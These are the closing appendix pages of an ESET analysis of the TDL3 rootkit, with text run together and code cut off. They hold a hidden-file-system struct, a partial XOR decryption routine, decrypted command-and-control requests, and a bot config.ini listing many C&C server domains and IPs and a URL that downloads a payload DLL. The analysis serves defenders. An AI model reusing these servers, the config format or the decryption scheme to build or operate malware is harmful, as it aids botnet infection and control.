    }TDL_FILE_OBJECT,*PTDL_FILE_OBJECT;//Structurecorrespondingtofiletabletypedefstruct_TDL_FS_DIRECTORY{

    ULONGSignature; //TDLDULONGNextBlockOffset; //offsetofthenextblockwithfiletableifanyULONGReserved;TDL_FILE_TABLE_ENTRYFiles[0x1F];//arrayoffileentriesinfiletable

    }TDL_FS_DIRECTCORY,*PTDL_FS_DIRECTCORY;

  • 8/8/2019 TDL3 Analysis

    29/31

    www.eset.ru

    29

    AppendixBDecryptionalgorithms

    voidDecryptBufferXor(charKey){

    DWORDk=0;for(k=0;k

  • 8/8/2019 TDL3 Analysis

    30/31

    www.eset.ru

    30

    AppendixCRequeststoserver:

    URL:

    http://d45648675.cn/yPFerNxCiUwohhnNF1XPN7wCVLPrcxfMAEYo74O8FjWd57Vkd52hOMrIkrkf1fTjpxf

    9W8ISKJzBh8s7NAV4hy4=

    DECRYPTED:

    7b8f5d01d790453b96afc1c0b77abeb3|20375|0|1|6be|5.12600SP2.0

    URL:

    http://m3131313.cn/shcJJbktZ5rjkqA/c2zqsMcZYkW+RDfopILj0TaL032JHpgmeQuo1z1PaKGwyxOtBq3Hs

    JeJDHEmMwD5rgGxqPGqPvbtPsIe1eC6oFhT00ZI9P6VNSaEMlQjYojyiLu6CzdTR7ie8dzTUC1XegPoP10+g0

    UKVMeYJ/LY1HgkWYBGaIFF4kH5brf0i/qw/kWpjYpeuD+dm8C83PJCysvPrbc1wjoVGlhVS170+0oFQO8=

    DECRYPTED:

    1.5|7b8f5d01d790453b96af

    c1c0b77abeb3|20375|0|iastor.sys+download|http://www.mastercard.com/ru/personal/ru/promotions

    /giftseason/promo_description.html|http://www.yandex.ru/

  • 8/8/2019 TDL3 Analysis

    31/31

    AppendixDExampleofconfig.inifile:

    [main]

    quote=YoupeoplevotedforHubertHumphrey,andyoukilledJesus

    version=3.273

    botid=7483279dc1d0

    49f8

    9a16

    18b48a59a875

    affid=11418

    subid=0

    installdate=13.4.201011:11:13

    builddate=8.4.201011:18:57

    [injector]

    *=tdlcmd.dll

    [tdlcmd]

    servers=https://873hgf7xx60.com/;https://jro1ni1l1.com/;https://61.61.20.132/;https://1iii1i11i1ii.com

    /;https://61.61.20.135/;https://0o0o0o0o0.com/;https://68b6b6b6.com/;https://34jh7alm94.asia/

    wspservers=http://lk01ha71gg1.cc/;http://zl091kha644.com/;http://a74232357.cn/;http://a76956922.cn/;http://91jjak4555j.com/

    popupservers=http://cri71ki813ck.com/

    version=3.74

    delay=7200

    clkservers=http://lkckclckl1i1i.com/

    [tasks]

    tdlcmd.dll=https://1iii1i11i1ii.com/9lhChAsRmDq7